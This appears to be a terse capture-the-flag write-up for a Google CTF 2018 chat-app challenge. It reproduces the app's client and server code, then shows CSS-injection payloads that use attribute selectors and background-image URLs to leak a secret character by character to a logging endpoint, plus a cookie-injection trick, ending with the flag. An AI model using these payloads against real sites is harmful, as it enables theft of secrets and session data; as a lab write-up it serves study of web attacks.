Solving the Dog Problem — Google CTF 2018 Quals Write Up

Challenge Description

Getting familiarized

Read the source, Luke!

<!--        
Admin commands:
- `/secret asdfg` - Sets the admin password to be sent to the server with each command for authentication. It's enough to set it once a year, so no need to issue a /secret command every time you open a chat room.- `/ban UserName` - Bans the user with UserName from the chat (requires the correct admin password to be set).-->
<span data-secret=”random_password”>*****</span>

catchat.js

let esc = (str) => str.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&apos;');
// Sending messages
let send = (msg) => fetch(`send?name=${encodeURIComponent(localStorage.name)}&msg=${encodeURIComponent(msg)}`,
{credentials: 'include'}).then((res) => res.json()).then(handle);
let display = (line) => conversation.insertAdjacentHTML('beforeend', `<p>${line}</p>`);
let recaptcha_id = '6LeB410UAAAAAGkmQanWeqOdR6TACZTVypEEXHcu';
window.addEventListener('load', function() {
messagebox.addEventListener('keydown', function(event) {
if (event.keyCode == 13 && messagebox.value != '') {
if (messagebox.value == '/report') {
grecaptcha.execute(recaptcha_id, {action: 'report'}).then((token) => send('/report ' + token));
} else {
send(messagebox.value);
}
messagebox.value = '';
}
});
send('Hi all');
});
// Receiving messages
function handle(data) {
({
undefined(data) {},
error(data) { display(`Something went wrong :/ Check the console for error message.`); console.error(data); },
name(data) { display(`${esc(data.old)} is now known as ${esc(data.name)}`); },
rename(data) { localStorage.name = data.name; },
secret(data) { display(`Successfully changed secret to <span data-secret="${esc(cookie('flag'))}">*****</span>`); },
msg(data) {
let you = (data.name == localStorage.name) ? ' (you)' : '';
if (!you && data.msg == 'Hi all') send('Hi');
display(`<span data-name="${esc(data.name)}">${esc(data.name)}${you}</span>: <span>${esc(data.msg)}</span>`);
},
ban(data) {
if (data.name == localStorage.name) {
document.cookie = 'banned=1; Path=/';
sse.close();
display(`You have been banned and from now on won't be able to receive and send messages.`);
} else {
display(`${esc(data.name)} was banned.<style>span[data-name^=${esc(data.name)}] { color: red; }</style>`);
}
},
})[data.type](data);
}
// Opening redirect and room index
app.get('/', (req, res) => res.redirect(`/room/${uuidv4()}/`));
let roomPath = '/room/:room([0-9a-f-]{36})';
app.get(roomPath + '/', function(req, res) {
res.sendFile(__dirname + '/static/index.html', {
headers: {
'Content-Security-Policy': [
'default-src \'self\'',
'style-src \'unsafe-inline\' \'self\'',
'script-src \'self\' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/',
'frame-src \'self\' https://www.google.com/recaptcha/',
].join('; ')
},
});
});
// Process incoming messages
app.all(roomPath + '/send', async function(req, res) {
let room = req.params.room, {msg, name} = req.query, response = {}, arg;
console.log(`${room} <-- (${name}):`, msg)
if (!(req.headers.referer || '').replace(/^https?:\/\//, '').startsWith(req.headers.host)) {
response = {type: "error", error: 'CSRF protection error'};
} else if (msg[0] != '/') {
broadcast(room, {type: 'msg', name, msg});
} else {
switch (msg.match(/^\/[^ ]*/)[0]) {
case '/name':
if (!(arg = msg.match(/\/name (.+)/))) break;
response = {type: 'rename', name: arg[1]};
broadcast(room, {type: 'name', name: arg[1], old: name});
case '/ban':
if (!(arg = msg.match(/\/ban (.+)/))) break;
if (!req.admin) break;
broadcast(room, {type: 'ban', name: arg[1]});
case '/secret':
if (!(arg = msg.match(/\/secret (.+)/))) break;
res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000');
response = {type: 'secret'};
case '/report':
if (!(arg = msg.match(/\/report (.+)/))) break;
var ip = req.headers['x-forwarded-for'];
ip = ip ? ip.split(',')[0] : req.connection.remoteAddress;
response = await admin.report(arg[1], ip, `https://${req.headers.host}/room/${room}/`);
}
}
console.log(`${room} --> (${name}):`, response)
res.json(response);
res.status(200);
res.end();
});

Finding the Injection Points

display(`${esc(data.name)} was banned.<style>span[data-name^=${esc(data.name)}] { color: red; }</style>`);
<form action="http://example.com" id="form2">
<input type="text" id="secret" name="secret" value="abc">
</form>
#form2 input[value^='a'] { 
background-image: url(http://localhost/log.php/a);
}
#form2 input[value^='b'] {
background-image: url(http://localhost/log.php/b);
}
#form2 input[value^='c'] {
background-image: url(http://localhost/log.php/c);
}
[...]
secret(data) { display(`Successfully changed secret to <span data-secret="${esc(cookie('flag'))}">*****</span>`); },
res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000');

Connecting the Dots

/name bob] 
{
color:blue; background:url(send?name=admin&msg=/secret foo; Domain=foobar);
}
span[data-secret^=C]
{
background:url(send?name=admin&msg=C);
}
CTF{L0LC47S_43V3R}.

Interested in technology.